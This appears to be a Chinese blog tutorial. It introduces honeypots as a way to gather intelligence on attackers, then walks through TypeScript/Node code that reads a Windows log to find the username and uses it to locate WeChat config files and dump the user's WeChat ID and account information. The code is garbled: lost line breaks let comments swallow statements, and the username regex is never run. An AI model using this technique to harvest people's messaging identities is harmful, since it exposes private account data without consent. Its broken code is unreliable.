:::warning
蜜罐技术本质上是一种对攻击方进行欺骗的技术,通过布置一些作为诱饵的主机、网络服务或者信息,诱使攻击方对它们实施攻击,从而可以对攻击行为进行捕获和分析,了解攻击方所使用的工具与方法,推测攻击意图和动机,能够让防御方清晰地了解他们所面对的安全威胁,并通过技术和管理手段来增强实际系统的安全防护能力。
蜜罐好比是情报收集系统。蜜罐好像是故意让人攻击的目标,引诱黑客前来攻击。所以攻击者入侵后,你就可以知道他是如何得逞的,随时了解针对服务器发动的最新的攻击和漏洞。还可以通过窃听黑客之间的联系,收集黑客所用的种种工具,并且掌握他们的社交网络。
:::
1、部署
npm install ts-node -gnpm install @types/node -D
2、index.ts
import fs from 'fs'// 读取文件并打印输出(测试)fs.readFile("C:/Windows/PFRO.log", (err, data) => {//这里第二个参数data是Buffer类型,//Buffer 库为 Node.js 带来了一种存储原始数据的方法,可以让 Node.js 处理二进制数据console.log(data.toString('utf16le'))})
3、执行index.ts
终端执行完会打印输出PFRO文件的日志内容
ts-node index.ts
4、使用正则表达式去匹配
:::success
接下来使用正则表达式去匹配前面的日志文件内容中的系统用户名,也就是User/后面的用户名
这里由于我这边微信装在了D盘,所以路径显示是D盘过来的。
:::
import fs from 'fs'// 获取微信idconst getwxId = <T> (path: T) => {const data = fs.readFileSync(`D:/Users/${path}/Documents/WeChat Files/All Users/config/config.data`).toString('utf-8')const reg = /Documents\\WeChat Files\\([^\\]*)/igreg.test(data)// 这里会获取到微信id, 这里我们返回出去return RegExp.$1}// 根据获取到的用户名和微信id获取用户的个人信息const getInfo = <T>(path:T, wxId:T) => {const data = fs.readFileSync(`D:/Users/${path}/Documents/WeChat Files/${wxId}/config/AccInfo.dat`).toString('utf-8')return data}// 读取文件并打印输出(测试)fs.readFile("C:/Windows/PFRO.log", async (err, data) => {//这里第二个参数data是Buffer类型,//Buffer 库为 Node.js 带来了一种存储原始数据的方法,可以让 Node.js 处理二进制数据// console.log(data.toString('utf-8'))// 使用正则表达式去匹配const reg = /\\Users\\([^\\]*)/ig// reg.test(data.toString('utf-8'))const username = RegExp.$1const wxId = await getwxId(username)// const resultArr:any = reg.exec(data.toString('utf16le'))// const resultArr2:any = reg.exec(data.toString('utf16le'))// console.log(resultArr[1])// console.log(resultArr2[1])// console.log(RegExp.$1)const info = await getInfo(username,wxId)console.log(info)})
